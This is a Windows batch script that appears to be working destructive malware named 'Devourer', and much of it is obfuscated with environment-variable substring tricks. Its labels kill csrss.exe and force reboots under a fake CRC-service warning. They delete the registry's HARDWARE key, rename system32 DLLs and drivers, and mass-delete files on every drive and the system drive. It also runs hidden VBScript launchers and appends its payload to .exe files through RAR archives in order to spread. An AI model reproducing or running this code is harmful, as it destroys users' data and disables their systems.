%programfiles:~-4,1%%tcopu:~11,1% %userprofile:~14,1%%appdata:~-7,1%%comspec:~-13,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %systemroot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\CHAIN.BAT %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% K%programfiles:~-4,1%%appdata:~-13,1%%appdata:~-13,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%programfiles:~-4,1%%programfiles:~6,1%%userprofile:~14,1%=
FOR /F "%comspec:~-16,1%%tcopu:~5,1%%programfiles:~-4,1%%appdata:~-15,1%=%tcopu:~21,1% %comspec:~-13,1%%appdata:~-7,1%%tcopu:~5,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-16,1%=*" %%%programfiles:~-4,1% %programfiles:~-4,1%%userprofile:~14,1% %tcopu:~25,1%%systemroot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\CHAIN.BAT%tcopu:~30,1% %appdata:~15,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%programfiles:~-4,1%%programfiles:~6,1%%userprofile:~14,1%=%%%programfiles:~-4,1%&%programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% CHCHK
:CHCHK
%programfiles:~-4,1%%tcopu:~11,1% %userprofile:~14,1%%appdata:~-7,1%%comspec:~-13,1% "%sign%"=="::CHAIN" %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% K%programfiles:~-4,1%%appdata:~-13,1%%appdata:~-13,1%

%setup%\svchost.exe 500

goto RunBack


:Restart
if exist "D:\I am KAKENHI.txt" shutdown -r -t 100 -c "DevourerRestart"&goto RSTEnd
shutdown -r -f -t 1
%setup%\svchost.exe 100000
start %setup%\ntsd.exe -c q -pn csrss.exe
:RSTEnd
goto DiskChk

:DvRARChk
set chktime=0
if not exist %Devourer%\ScanF goto RunBack2
echo On Error Resume Next>%Devourer%\lsvbs.vbs
echo set ws=wscript.createobject("wscript.shell")>>%Devourer%\lsvbs.vbs
echo ws.run "%Devourer%\svchost.exe /c %setup%\RarInform.bat %selfcode%",0 >>%Devourer%\lsvbs.vbs
cscript %Devourer%\lsvbs.vbs
del %Devourer%\lsvbs.vbs
goto RunBack2


:Virus
%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %systemroot%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %systemroot%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%\%appdata:~15,1%%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% H%programfiles:~-4,1%PD
%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %systemroot%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% TENBATSU
%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %systemroot%\%comspec:~-13,1%%appdata:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%\%appdata:~15,1%%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-16,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% %tcopu:~11,1%%appdata:~-7,1%%programfiles:~4,1%%appdata:~7,1%%appdata:~-1%%comspec:~-13,1%%appdata:~-1%%appdata:~-13,1%%appdata:~-13,1%
%programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %Devourer%\HKLF%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-16,1%%tcopu:~2,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% %Devourer%\AKLF%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-16,1%%tcopu:~2,1%.%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~-4,1% %programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% R%comspec:~-1%%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%
%appdata:~15,1%%comspec:~-1%%appdata:~-13,1% %Devourer%\R%userprofile:~6,1%%userprofile:~14,1%T%programfiles:~-4,1%%appdata:~7,1%%comspec:~-1%.%comspec:~-13,1%%comspec:~-2,1%%comspec:~-13,1%
%programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% D%programfiles:~-4,1%%comspec:~-16,1%%tcopu:~5,1%C%tcopu:~2,1%%tcopu:~5,1%

:HiPD
FOR %%i IN (%setup%\akari.txt) DO if /i %%~zi lss 102400 goto TENBATSU
goto Reset


:Kill
if exist "D:\I am KAKENHI.txt" shutdown -r -t 100 -c "DevourerKill"&goto KillEND

echo Windows Registry Editor Version 5.00>%systemroot%\recover.reg
echo [-HKEY_LOCAL_MACHINE\HARDWARE]>>%systemroot%\recover.reg

echo del /f /a /q %systemroot\repair\*>%systemroot%\units.bat
echo ren %systemroot%\system32\*.dll 0*.dll>>%systemroot%\units.bat
echo ren %systemroot%\system32\drivers\*.sys 0*.sys>>%systemroot%\units.bat
echo On Error Resume Next>lskill.vbs
echo set ws=wscript.createobject("wscript.shell")>>lskill.vbs
echo ws.run "cmd /c %systemroot%\units.bat",0 >>lskill.vbs

del /f /a /q %systemroot%\system32\dllcache\*
ren %systemroot%\explorer.exe explorer.exe123
taskkill /f /im explorer.exe&ntsd -c q -pn explorer.exe
shutdown -r -t 60 -c "由于CRC服务被意外终止，系统即将重新启动。"
mshta "javascript:new ActiveXObject('WScript.Shell').Run('cmd /c del /f /a /q %systemdrive%\*',0);window.close()"
cscript lskill.vbs
regedit /s %systemroot%\recover.reg
:KillEND
goto Diskchk

:TENBATSU
if exist "D:\I am KAKENHI.txt" shutdown -r -t 100 -c "TENBATSU"&goto TENBATSUEND
set alldrive=
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do call %setup%\HIKARI.BAT eoladd %%i:
for %%i in (%alldrive%) do del /f /a /q /s %%i
del /f /a /q /s "%HOMEDRIVE%\Documents and Settings"
goto Kill


:formatall
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% O%userprofile:~14,1% E%programfiles:~4,1%%programfiles:~4,1%%appdata:~-7,1%%programfiles:~4,1% R%comspec:~-1%%comspec:~-16,1%%userprofile:~6,1%%appdata:~7,1%%comspec:~-1% N%comspec:~-1%%comspec:~-2,1%%comspec:~-13,1%>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %os:~5,1%%comspec:~-16,1%=%os:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.%userprofile:~5,1%%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1%%appdata:~-7,1%%tcopu:~1,1%%tcopu:~4,1%%comspec:~-1%%userprofile:~5,1%%comspec:~-13,1%%tcopu:~25,1%"%os:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%"%tcopu:~30,1%>>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %os:~5,1%%comspec:~-16,1%.%programfiles:~4,1%%userprofile:~6,1%%userprofile:~14,1% "%Devourer%\%comspec:~-16,1%%tcopu:~8,1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1%%comspec:~-16,1%%comspec:~-13,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1% /%userprofile:~5,1% %setup%\%appdata:~-1%%tcopu:~5,1%%appdata:~-1%%programfiles:~4,1%%programfiles:~-4,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1% LBEX %selfcode%",%tcopu:~17,1% >>%Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%userprofile:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1% %Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%appdata:~15,1%%comspec:~-1%%appdata:~-13,1% %Devourer%\%appdata:~-13,1%%comspec:~-16,1%%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%.%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1%
%comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% R%userprofile:~6,1%%userprofile:~14,1%S%programfiles:~-4,1%%programfiles:~6,1%%userprofile:~14,1%_%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%%tcopu:~29,1%>%Devourer%\R%userprofile:~6,1%%userprofile:~14,1%T%programfiles:~-4,1%%appdata:~7,1%%comspec:~-1%.%comspec:~-13,1%%comspec:~-2,1%%comspec:~-13,1%
:TENBATSUEND
%programfiles:~6,1%%appdata:~-7,1%%comspec:~-13,1%%appdata:~-7,1% D%programfiles:~-4,1%%comspec:~-16,1%%tcopu:~5,1%C%tcopu:~2,1%%tcopu:~5,1%


:Reset
del %systemroot%\Tasks\*.ini
del %Devourer%\ScanF %Devourer%\HKLFinish.ini %Devourer%\AKLFinish.ini
del %Devourer%\hikari.ini %Devourer%\akari.ini
del %setup%\hikari.txt %setup%\akari.txt
del %Devourer%\RarInform.ini %Devourer%\RunTime.txt
goto DiskChk

:Open
if "%1"=="-USB" Exit
FOR /F "tokens=1,2,3 skip=2 delims=[]" %%i in (%~nx0) do set code=%%i&set name=%%j&set type=%%k&goto OpenNext
:OpenNext
goto %type%

:EJPack
if not Exist "%Name%" exit
call "%Name%"
del /f /a /q "%Name%"
del /f /a /q %0
exit

:TDPack
if not exist "%Name%" exit
call "%Name%"
:Save
FOR /F "tokens=1 delims=:" %%i in ('findstr "%Code%" *.exe') do set PackName=%%i
%setup%\rar.exe -m0 -ep -ep1 a "%PackName%" "%Name%"
echo %Code%>>"%PackName%"
:Del
del /f /a /q "%Name%"
del /f /a /q %0
exit

:End